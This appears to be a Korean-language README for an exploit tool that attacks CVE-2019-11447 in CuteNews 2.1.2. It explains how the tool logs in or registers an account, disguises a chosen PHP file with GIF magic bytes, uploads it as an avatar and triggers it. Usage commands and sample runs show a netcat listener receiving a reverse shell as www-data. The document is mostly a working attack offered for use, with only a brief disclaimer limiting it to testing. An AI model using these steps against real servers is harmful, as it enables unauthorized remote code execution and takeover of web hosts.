coldfusionx/cve-2019-11447_cutenews-avataruploadrceCVE-2019-11447에 대한 익스플로잇 코드 (일명 CuteNews 2.1.2 아바타 업로드 RCE, 인증 필요)
CVE-2019-11447에 대한 익스플로잇 코드. 일명 CuteNews 2.1.2 아바타 업로드 RCE (인증 필요)
익스플로잇 링크:
예상 결과: 계정 로그인/등록, 사용자가 선택한 PHP 파일에 .gif 매직 바이트를 추가하여 아바타로 업로드하고 이를 트리거하여 원격 코드 실행을 달성합니다.
교육 및 기업 환경에서의 테스트 용도로만 사용하십시오.
이 익스플로잇은 Python 3.8.6에서 테스트되었습니다.
cfx: ~/cutenews
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL] [-u USERNAME] [-p PASSWORD] [-e EMAIL]
CuteNews 2.1.2 Avatar upload RCE (Authenticated) by ColdFusionX
optional arguments:
-h, --help show this help message and exit
-l URL, --url URL CuteNews URL (Example: http://127.0.0.1)
-u USERNAME, --username USERNAME
Username to Login/Register
-p PASSWORD, --password PASSWORD
Password to Login/Register
-e EMAIL, --email EMAIL
Email to Login/Register
Exploit Usage :
./exploit.py -l http://127.0.0.1 -u cold -p fusion -e [email protected]
./exploit.py -l http://127.0.0.1 -u optimus -p prime -e [email protected]
[^] Select your PHP file -> rev.php
OR
[^] Select your PHP file -> ~/Downloads/rev.php
[^] Press y/n to trigger reverse shell -> y
이 익스플로잇은 실행을 위해 처음에 네 가지 인수를 필요로 합니다:
추가로 필요한 사용자 입력:
예: [^] Select your PHP file -> rev.php
또는 사용자는 PHP 파일의 위치를 지정해야 합니다:
예: [^] Select your PHP file -> ~/Downloads/rev.php
어느 쪽이든 익스플로잇은 업로드된 파일 위치를 출력하여 추가로 사용할 수 있도록 설계되었습니다.
cfx: ~/cutenews
→ ./exploit.py -l http://127.0.0.1 -u optimus -p prime -e [email protected]
[+] CuteNews 2.1.2 Avatar Upload RCE exploit by ColdFusionX
[+] User exists ! Logged in Successfully
[^] Select your PHP file -> rev.php
[*] Adding Magic Byte to PHP file
[+] Upload Successful !!
[*] File location --> http://10.10.10.206/CuteNews/uploads/avatar_cold_cold.php
[^] Press y/n to trigger PHP file -> y
[*] Check listener for reverse shell
[*] Execution Completed
cfx: ~/cutenews
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:32868.
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
03:06:04 up 4:15, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
prime tty7 :0 22:50 4:15m 9.36s 0.69s /sbin/upstart --user
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
cfx: ~/cutenews
→ ./exploit.py -l http://127.0.0.1 -u cold -p fusion -e [email protected]
[+] CuteNews 2.1.2 Avatar Upload RCE exploit by ColdFusionX
[+] Credentials cold:fusion Successfully Registered
[^] Select your PHP file -> rev.php
[*] Adding Magic Byte to PHP file
[+] Upload Successful !!
[*] File location --> http://127.0.0.1/CuteNews/uploads/avatar_cold_cold.php
[^] Press y/n to trigger PHP file -> y
[*] Check listener for reverse shell
[*] Execution Completed
cfx: ~/cutenews
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:32868.
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
03:06:04 up 4:15, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
prime tty7 :0 22:50 4:15m 9.36s 0.69s /sbin/upstart --user
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit